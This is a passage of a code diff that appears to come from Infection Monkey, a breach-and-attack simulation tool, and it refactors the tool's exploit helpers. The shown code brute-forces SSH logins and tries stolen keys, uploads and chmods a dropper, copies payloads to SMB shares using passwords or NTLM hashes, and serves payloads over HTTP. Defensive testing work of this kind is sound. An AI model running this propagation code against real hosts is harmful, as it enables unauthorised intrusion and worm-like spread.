status = ScanStatus.SCANNED
|
||||
pass
|
||||
T1035Telem(status, UsageEnum.SMB).send()
|
||||
scmr.hRDeleteService(scmr_rpc, service)
|
||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||
|
||||
|
|
|
@ -1,16 +1,20 @@
|
|||
import StringIO
|
||||
import logging
|
||||
import time
|
||||
|
||||
import paramiko
|
||||
import io
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -41,7 +45,7 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||
# Creating file-like private key for paramiko
|
||||
pkey = io.StringIO(ssh_key_pair['private_key'])
|
||||
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
|
||||
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
||||
try:
|
||||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||
|
@ -71,26 +75,26 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
exploited = False
|
||||
|
||||
for user, curpass in user_password_pairs:
|
||||
for user, current_password in user_password_pairs:
|
||||
try:
|
||||
ssh.connect(self.host.ip_addr,
|
||||
username=user,
|
||||
password=curpass,
|
||||
password=current_password,
|
||||
port=port,
|
||||
timeout=None)
|
||||
|
||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||
self.host, user, curpass)
|
||||
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||
self.host, user, self._config.hash_sensitive_data(current_password))
|
||||
exploited = True
|
||||
self.add_vuln_port(port)
|
||||
self.report_login_attempt(True, user, curpass)
|
||||
self.report_login_attempt(True, user, current_password)
|
||||
break
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", self.host,
|
||||
user, curpass, exc)
|
||||
self.report_login_attempt(False, user, curpass)
|
||||
" %s and password (SHA-512) '%s': (%s)", self.host,
|
||||
user, self._config.hash_sensitive_data(current_password), exc)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
continue
|
||||
return exploited
|
||||
|
||||
|
@ -100,7 +104,7 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
port = SSH_PORT
|
||||
# if ssh banner found on different port, use that port.
|
||||
for servkey, servdata in list(self.host.services.items()):
|
||||
for servkey, servdata in self.host.services.items():
|
||||
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
|
||||
port = int(servkey.replace('tcp-', ''))
|
||||
|
||||
|
@ -109,7 +113,7 @@ class SSHExploiter(HostExploiter):
|
|||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
#Check for possible ssh exploits
|
||||
# Check for possible ssh exploits
|
||||
exploited = self.exploit_with_ssh_keys(port, ssh)
|
||||
if not exploited:
|
||||
exploited = self.exploit_with_login_creds(port, ssh)
|
||||
|
@ -162,10 +166,18 @@ class SSHExploiter(HostExploiter):
|
|||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
||||
callback=self.log_transfer)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||
|
||||
status = ScanStatus.USED
|
||||
T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
T1105Telem(status,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
src_path).send()
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
|
||||
try:
|
||||
|
|
|
@ -1,536 +0,0 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import os.path
|
||||
import pprint
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import urllib.request, urllib.parse, urllib.error
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port, get_routes
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from threading import Lock
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in list(DCOMConnection.PORTMAPS.keys()):
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in list(DCOMConnection.OID_SET.keys()):
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = list(record.keys())
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||
" LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host)
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||
host, username, password, lm_hash, ntlm_hash, exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,5 @@
|
|||
|
||||
|
||||
class ExploitingVulnerableMachineError(Exception):
|
||||
""" Raise when exploiter failed, but machine is vulnerable"""
|
||||
pass
|
|
@ -0,0 +1,142 @@
|
|||
import logging
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
"""
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def try_get_target_monkey(host):
|
||||
src_path = get_target_monkey(host)
|
||||
if not src_path:
|
||||
raise Exception("Can't find suitable monkey executable for host %r", host)
|
||||
return src_path
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,90 @@
|
|||
import logging
|
||||
import os
|
||||
import os.path
|
||||
import urllib
|
||||
from threading import Lock
|
||||
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
|
||||
if not http_path:
|
||||
raise Exception("Http transfer creation failed.")
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
return http_path, http_thread
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
